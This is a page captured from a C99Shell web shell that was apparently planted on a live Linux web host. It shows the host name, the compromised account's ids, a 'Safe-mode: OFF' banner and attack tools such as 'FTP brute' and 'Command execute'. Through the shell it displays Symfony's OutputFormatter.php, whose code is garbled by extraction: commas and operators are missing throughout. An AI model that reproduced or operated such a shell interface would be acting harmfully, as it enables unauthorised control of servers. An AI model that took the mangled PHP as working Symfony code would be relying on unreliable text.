!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Console/Formatter/   drwxr-xr-x
Free 294.14 GB of 429.69 GB (68.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     OutputFormatter.php (6.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Formatter;

/**
 * Formatter class for console output.
 *
 * @author Konstantin Kudryashov <ever.zet@gmail.com>
 *
 * @api
 */
class OutputFormatter implements OutputFormatterInterface
{
    private 
$decorated;
    private 
$styles = array();
    private 
$styleStack;

    
/**
     * Escapes "<" special char in given text.
     *
     * @param string $text Text to escape
     *
     * @return string Escaped text
     */
    
public static function escape($text)
    {
        return 
preg_replace('/([^\\\\]?)</is''$1\\<'$text);
    }

    
/**
     * Initializes console output formatter.
     *
     * @param Boolean          $decorated Whether this formatter should actually decorate strings
     * @param OutputFormatterStyleInterface[] $styles    Array of "name => FormatterStyle" instances
     *
     * @api
     */
    
public function __construct($decorated false, array $styles = array())
    {
        
$this->decorated = (Boolean) $decorated;

        
$this->setStyle('error', new OutputFormatterStyle('white''red'));
        
$this->setStyle('info', new OutputFormatterStyle('green'));
        
$this->setStyle('comment', new OutputFormatterStyle('yellow'));
        
$this->setStyle('question', new OutputFormatterStyle('black''cyan'));

        foreach (
$styles as $name => $style) {
            
$this->setStyle($name$style);
        }

        
$this->styleStack = new OutputFormatterStyleStack();
    }

    
/**
     * Sets the decorated flag.
     *
     * @param Boolean $decorated Whether to decorate the messages or not
     *
     * @api
     */
    
public function setDecorated($decorated)
    {
        
$this->decorated = (Boolean) $decorated;
    }

    
/**
     * Gets the decorated flag.
     *
     * @return Boolean true if the output will decorate messages, false otherwise
     *
     * @api
     */
    
public function isDecorated()
    {
        return 
$this->decorated;
    }

    
/**
     * Sets a new style.
     *
     * @param string                        $name  The style name
     * @param OutputFormatterStyleInterface $style The style instance
     *
     * @api
     */
    
public function setStyle($nameOutputFormatterStyleInterface $style)
    {
        
$this->styles[strtolower($name)] = $style;
    }

    
/**
     * Checks if output formatter has style with specified name.
     *
     * @param string $name
     *
     * @return Boolean
     *
     * @api
     */
    
public function hasStyle($name)
    {
        return isset(
$this->styles[strtolower($name)]);
    }

    
/**
     * Gets style options from style with specified name.
     *
     * @param string $name
     *
     * @return OutputFormatterStyleInterface
     *
     * @throws \InvalidArgumentException When style isn't defined
     *
     * @api
     */
    
public function getStyle($name)
    {
        if (!
$this->hasStyle($name)) {
            throw new \
InvalidArgumentException(sprintf('Undefined style: %s'$name));
        }

        return 
$this->styles[strtolower($name)];
    }

    
/**
     * Formats a message according to the given styles.
     *
     * @param string $message The message to style
     *
     * @return string The styled message
     *
     * @api
     */
    
public function format($message)
    {
        
$offset 0;
        
$output '';
        
$tagRegex '[a-z][a-z0-9_=;-]*';
        
preg_match_all("#<(($tagRegex) | /($tagRegex)?)>#isx"$message$matchesPREG_OFFSET_CAPTURE);
        foreach (
$matches[0] as $i => $match) {
            
$pos $match[1];
            
$text $match[0];

            
// add the text up to the next tag
            
$output .= $this->applyCurrentStyle(substr($message$offset$pos $offset));
            
$offset $pos strlen($text);

            
// opening tag?
            
if ($open '/' != $text[1]) {
                
$tag $matches[1][$i][0];
            } else {
                
$tag = isset($matches[3][$i][0]) ? $matches[3][$i][0] : '';
            }

            if (!
$open && !$tag) {
                
// </>
                
$this->styleStack->pop();
            } elseif (
$pos && '\\' == $message[$pos 1]) {
                
// escaped tag
                
$output .= $this->applyCurrentStyle($text);
            } elseif (
false === $style $this->createStyleFromString(strtolower($tag))) {
                
$output .= $this->applyCurrentStyle($text);
            } elseif (
$open) {
                
$this->styleStack->push($style);
            } else {
                
$this->styleStack->pop($style);
            }
        }

        
$output .= $this->applyCurrentStyle(substr($message$offset));

        return 
str_replace('\\<''<'$output);
    }

    
/**
     * @return OutputFormatterStyleStack
     */
    
public function getStyleStack()
    {
        return 
$this->styleStack;
    }

    
/**
     * Tries to create new style instance from string.
     *
     * @param string $string
     *
     * @return OutputFormatterStyle|Boolean false if string is not format string
     */
    
private function createStyleFromString($string)
    {
        if (isset(
$this->styles[$string])) {
            return 
$this->styles[$string];
        }

        if (!
preg_match_all('/([^=]+)=([^;]+)(;|$)/'strtolower($string), $matchesPREG_SET_ORDER)) {
            return 
false;
        }

        
$style = new OutputFormatterStyle();
        foreach (
$matches as $match) {
            
array_shift($match);

            if (
'fg' == $match[0]) {
                
$style->setForeground($match[1]);
            } elseif (
'bg' == $match[0]) {
                
$style->setBackground($match[1]);
            } else {
                
$style->setOption($match[1]);
            }
        }

        return 
$style;
    }

    
/**
     * Applies current style from stack to text, if must be applied.
     *
     * @param string $text Input text
     *
     * @return string Styled text
     */
    
private function applyCurrentStyle($text)
    {
        return 
$this->isDecorated() && strlen($text) > $this->styleStack->getCurrent()->apply($text) : $text;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0915 ]--